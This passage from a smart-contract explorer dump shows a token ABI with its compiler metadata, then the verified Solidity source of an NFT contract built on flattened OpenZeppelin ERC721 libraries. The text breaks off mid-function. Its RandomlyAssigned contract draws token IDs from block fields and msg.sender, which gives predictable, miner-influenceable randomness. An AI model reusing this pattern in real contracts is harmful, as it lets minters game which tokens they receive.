[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}] | v0.4.17+commit.bdeb9e52 | false | 200 | 0000000000000000000000000000000000000000000069e10de76676d0800000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000003684843000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036848430000000000000000000000000000000000000000000000000000000000 | Default | false | ||||
Mendel | 0x3b707f0f718f186151b856464e07ddebf22aeb21 | Solidity | /**
*Submitted for verification at Etherscan.io on 2021-11-07
*/
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: contracts/WithLimitedSupply.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title A token tracker that limits the token supply and increments token IDs on each new mint.
abstract contract WithLimitedSupply {
using Counters for Counters.Counter;
// Keeps track of how many we have minted
Counters.Counter private _tokenCount;
/// @dev The maximum count of tokens this token tracker will hold.
uint256 private _maxSupply;
/// Instanciate the contract
/// @param totalSupply_ how many tokens this collection should hold
constructor (uint256 totalSupply_) {
_maxSupply = totalSupply_;
}
/// @dev Get the max Supply
/// @return the maximum token count
function maxSupply() public view returns (uint256) {
return _maxSupply;
}
/// @dev Get the current token count
/// @return the created token count
function tokenCount() public view returns (uint256) {
return _tokenCount.current();
}
/// @dev Check whether tokens are still available
/// @return the available token count
function availableTokenCount() public view returns (uint256) {
return maxSupply() - tokenCount();
}
/// @dev Increment the token count and fetch the latest count
/// @return the next token id
function nextToken() internal virtual ensureAvailability returns (uint256) {
uint256 token = _tokenCount.current();
_tokenCount.increment();
return token;
}
/// @dev Check whether another token is still available
modifier ensureAvailability() {
require(availableTokenCount() > 0, "No more tokens available");
_;
}
/// @param amount Check whether number of tokens are still available
/// @dev Check whether tokens are still available
modifier ensureAvailabilityFor(uint256 amount) {
require(availableTokenCount() >= amount, "Requested number of tokens not available");
_;
}
}
// File: contracts/RandomlyAssigned.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title Randomly assign tokenIDs from a given set of tokens.
abstract contract RandomlyAssigned is WithLimitedSupply {
// Used for random index assignment
mapping(uint256 => uint256) private tokenMatrix;
// The initial token ID
uint256 private startFrom;
/// Instanciate the contract
/// @param _maxSupply how many tokens this collection should hold
/// @param _startFrom the tokenID with which to start counting
constructor (uint256 _maxSupply, uint256 _startFrom)
WithLimitedSupply(_maxSupply)
{
startFrom = _startFrom;
}
/// Get the next token ID
/// @dev Randomly gets a new token ID and keeps track of the ones that are still available.
/// @return the next token ID
function nextToken() internal override ensureAvailability returns (uint256) {
uint256 maxIndex = maxSupply() - tokenCount();
uint256 random = uint256(keccak256(
abi.encodePacked(
msg.sender,
block.coinbase,
block.difficulty,
block.gaslimit,
block.timestamp
)
)) % maxIndex;
uint256 value = 0;
if (tokenMatrix[random] == 0) {
// If this matrix position is empty, set the value to the generated random number.
value = random;
} else {
// Otherwise, use the previously stored number from the matrix.
value = tokenMatrix[random];
}
// If the last available tokenID is still unused...
if (tokenMatrix[maxIndex - 1] == 0) {
// ...store that ID in the current matrix position.
tokenMatrix[random] = maxIndex - 1;
} else {
// ...otherwise copy over the stored number to the current matrix position.
tokenMatrix[random] = tokenMatrix[maxIndex - 1];
}
// Increment counts
super.nextToken();
return value + startFrom;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
